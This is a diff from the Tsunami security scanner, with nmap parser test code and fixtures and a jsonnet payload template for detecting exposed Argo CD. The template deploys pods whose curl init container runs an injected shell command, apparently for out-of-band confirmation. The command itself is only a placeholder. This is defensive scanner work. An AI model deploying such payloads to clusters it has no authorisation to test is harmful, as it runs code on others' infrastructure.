Service.builder() + .setName("https") + .setConf("10") + .setMethod("probed") + .setVersion("") + .setProduct("sffe") + .setExtraInfo("") + .setTunnel("ssl") + .setProto("") + .setRpcNum("") + .setLowVer("") + .setHighVer("") + .setHostname("") + .setOsType("") + .setDeviceType("") + .setServiceFp("servicefp") + .build()) + .addScript( + Script.builder() + .setId("http-title") + .setOutput("Error 400 (Bad Request)!!1") + .addValueElement( + Elem.builder() + .setKey("title") + .setValue("Error 400 (Bad Request)!!1") + .build()) + .addValueElement("\n \n ") + .build()) + .build()) + .build()) + .addValueElement( + Os.builder() + .addPortUsed( + PortUsed.builder() + .setState("open") + .setProto("tcp") + .setPortId("53") + .build()) + .addOsMatch( + OsMatch.builder() + .setName("name") + .setAccuracy("accuracy") + .setLine("line") + .addOsClass( + OsClass.builder() + .setVendor("vendor0") + .setOsGen("osgen0") + .setType("type0") + .setAccuracy("accuracy0") + .setOsFamily("osfamily0") + .addCpe(Cpe.builder().setValue("cpe0").build()) + .build()) + .addOsClass( + OsClass.builder() + .setVendor("vendor1") + .setOsGen("osgen1") + .setType("type1") + .setAccuracy("accuracy1") + .setOsFamily("osfamily1") + .addCpe(Cpe.builder().setValue("cpe1").build()) + .build()) + .build()) + .addOsMatch( + OsMatch.builder() + .setName("Linux 2.6.32") + .setAccuracy("96") + .setLine("55742") + .addOsClass( + OsClass.builder() + .setVendor("Linux") + .setOsGen("2.6.X") + .setType("general purpose") + .setAccuracy("96") + .setOsFamily("Linux") + .addCpe( + Cpe.builder() + .setValue( + "cpe:/o:linux:linux_kernel:2.6.32") + .build()) + .build()) + .build()) + .addOsFingerprint( + OsFingerprint.builder().setFingerprint("fingerprint").build()) + .build()) + .addValueElement(Distance.builder().setValue("distance value").build()) + .addValueElement(Uptime.builder().setSeconds("1").setLastBoot("2").build()) + .addValueElement( + TcpSequence.builder() + .setIndex("0") + .setDifficulty("difficulty") + .setValues("values") + .build()) + .addValueElement( + IpIdSequence.builder().setClazz("class").setValues("values").build()) + .addValueElement( + TcpTsSequence.builder().setClazz("class").setValues("values").build()) + .addValueElement( + HostScript.builder() + .addScript( + Script.builder() + .setId("hostscript script id") + .setOutput("hostscript script output") + .addValueElement( + Elem.builder() + .setKey("hostscript script elem key") + .setValue("elem value") + .build()) + .addValueElement("\n \n ") + .build()) + .build()) + .addValueElement( + Trace.builder() + .setProto("proto") + .setPort("port") + .addHop( + Hop.builder() + .setTtl("ttl") + .setRtt("rtt") + .setIpAddr("ipaddr") + .setHost("host") + .build()) + .build()) + .addValueElement( + Times.builder() + .setSrtt("1112") + .setRttVar("450") + .setTo("100000") + .build()) + .build()) + .addValueElement( + Output.builder().setType("test output type").setValue("output value").build()) + .setRunStats( + RunStats.builder() + .setFinished( + Finished.builder() + .setTime("1573478879") + .setTimeStr("Mon Nov 11 14:27:59 2019") + .setElapsed("232.81") + .setSummary( + "Nmap done at Mon Nov 11 14:27:59 2019; 1 IP address (1 host" + + " up) scanned in 232.81 seconds") + .setExit("success") + .setErrorMsg("") + .build()) + .setHosts(Hosts.builder().setUp("1").setDown("0").setTotal("1").build()) + .build()) + .addScanInfo( + ScanInfo.builder() + .setType("syn") + .setScanFlags("") + .setProtocol("tcp") + .setNumServices("1000") + .setServices("1,2,3,80,2725") + .build()) + .build()); + } } diff --git a/google/portscan/nmap/src/test/resources/com/google/tsunami/plugins/portscan/nmap/client/parser/testdata/scanRunIPv6_multipleOsMatch.xml b/google/portscan/nmap/src/test/resources/com/google/tsunami/plugins/portscan/nmap/client/parser/testdata/scanRunIPv6_multipleOsMatch.xml new file mode 100644 index 000000000..7c16c162d --- /dev/null +++ b/google/portscan/nmap/src/test/resources/com/google/tsunami/plugins/portscan/nmap/client/parser/testdata/scanRunIPv6_multipleOsMatch.xml @@ -0,0 +1,114 @@ + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + cpe0 + + + cpe1 + + + + cpe:/o:linux:linux_kernel:2.6.32 + + + + + + + + + + + + + + + + + output value + + + + + diff --git a/payloads/argo-cd-exposed-ui/guestbook-ui.jsonnet b/payloads/argo-cd-exposed-ui/guestbook-ui.jsonnet new file mode 100644 index 000000000..c744a1f43 --- /dev/null +++ b/payloads/argo-cd-exposed-ui/guestbook-ui.jsonnet @@ -0,0 +1,86 @@ +function ( + payload="" +) + [ + { + "apiVersion": "v1", + "kind": "Service", + "metadata": { + "name": "nginx", + "namespace": "tsunami-security-scanner" + }, + "spec": { + "type": "LoadBalancer", + "selector": { + "app.kubernetes.io/name": "nginx" + }, + "ports": [ + { + "protocol": "TCP", + "port": 80, + "targetPort": "http" + } + ] + } + }, + { + "apiVersion": "v1", + "kind": "Namespace", + "metadata": { + "name": "tsunami-security-scanner" + } + }, + { + "apiVersion": "apps/v1", + "kind": "Deployment", + "metadata": { + "name": "nginx", + "namespace": "tsunami-security-scanner", + "labels": { + "app.kubernetes.io/name": "nginx" + } + }, + "spec": { + "replicas": 1, + "selector": { + "matchLabels": { + "app.kubernetes.io/name": "nginx" + } + }, + "template": { + "metadata": { + "labels": { + "app.kubernetes.io/name": "nginx" + } + }, + "spec": { + "initContainers": [ + { + "name": "download-tools", + "image": "curlimages/curl:7.78.0", + "command": [ + "/bin/sh", + "-c" + ], + "args": [ + payload + ] + } + ], + "containers": [ + { + "name": "nginx", + "image": "nginx:1.24", + "ports": [ + { + "name": "http", + "containerPort": 80 + } + ] + } + ] + } + } + } + }, + ] diff --git a/payloads/argo-cd/deployment.yaml b/payloads/argo-cd/deployment.yaml deleted file mode 100644 index 532c49c2d..000000000 --- a/payloads/argo-cd/deployment.yaml +++ /dev/null @@ -1,29 +0,0 @@ -apiVersion: apps/v1 -kind: Deployment -metadata: - name: nginx - namespace: tsunami-security-scanner - labels: - app.kubernetes.io/name: nginx -spec: - replicas: 1 - selector: - matchLabels: - app.kubernetes.io/name: nginx - template: - metadata: - labels: - app.kubernetes.io/name: nginx - spec: - initContainers: - - name: download-tools - image: curlimages/curl:7.78.0 - command: [/bin/sh, -c] - args: - - OOBPAYLOAD - containers: - - name: nginx - image: nginx:1.24 - ports: - - name: http - containerPort: 80 diff --git a/payloads/argo-cd/namespace.yaml b/payloads/argo-cd/namespace.yaml deleted file mode 100644 index a294a6a9a..000000000 --- a/payloads/argo-cd/namespace.yaml +++ /dev/null @@ -1,4 +0,0 @@ -apiVersion: v1 -kind: Namespace -metadata: - name: tsunami-security-scanner diff --git a/payloads/argo-cd/service.yaml b/payloads/argo-cd/service.yaml deleted file mode 100644 index d8fef1c15..000000000 --- a/payloads/argo-cd/service.yaml +++ /dev/null @@ -1,13 +0,0 @@ -apiVersion: v1 -kind: Service -metadata: - name: nginx - namespace: tsunami-security-scanner -spec: - type: LoadBalancer - selector: - app.kubernetes.io/name: nginx - ports: - - protocol: TCP - port: 80 - targetPort: http